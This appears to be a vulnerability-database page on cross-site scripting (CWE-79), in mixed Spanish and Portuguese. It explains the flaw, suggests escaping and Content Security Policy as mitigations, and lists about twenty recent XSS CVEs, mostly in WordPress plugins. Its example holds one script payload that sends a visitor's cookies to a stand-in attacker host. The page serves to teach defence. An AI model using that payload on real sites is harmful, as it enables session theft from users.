Fallos del tipo CWE-79

30.303 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2026-19056HIGHProSolution WP Client < 2.0.11 - Reflected XSS via 'page' ParameterEPSS 0.3%CVE-2026-84763HIGHWordPress RTMKit plugin <= 2.1.5 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57356HIGHWordPress MC Woocommerce Wishlist plugin <= 1.9.19 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57417HIGHWordPress Cart Lift plugin <= 3.1.57 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-81291HIGHWordPress Uncode theme <= 2.12.7 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57695HIGHWordPress Document Gallery plugin <= 5.1.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-56042HIGHWordPress Advanced Order Export For WooCommerce plugin <= 4.0.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-81768HIGHWordPress Super Store Finder plugin <= 7.10 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-28166HIGHWordPress Tourmaster plugin <= 5.4.9 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57699HIGHWordPress Slider Pro plugin <= 4.8.13 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-66616HIGHWordPress Form Maker by 10Web plugin <= 1.15.49 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57426HIGHWordPress Modula - PRO plugin <= 2.10.8 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-76790HIGHEstatik < 4.3.5 - Reflected XSS via get_listings hash ParameterEPSS 0.3%CVE-2026-78289HIGHWordPress CozyStay theme <= 1.10.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2025-69152HIGHWordPress Artale | Wedding Photography WordPress theme <= 2.2.2 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-31981MEDIUMHTML injection in Diagram tab and Graph view in Guardian/CMC before 26.2.0EPSS 0.3%CVE-2026-28003HIGHWordPress Maspik – Spam blacklist plugin <= 2.9.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-32721HIGHLuCI luci-mod-network: Possible XSS attack in WiFi scan on Joining Wireless Client modalEPSS 0.3%CVE-2026-66697HIGHWordPress Colissimo Officiel : Méthodes de livraison pour WooCommerce plugin <= 2.10.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%CVE-2026-57718HIGHWordPress Unlimited Elements For Elementor (Free Widgets, Addons, Templates) plugin <= 2.0.12 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.3%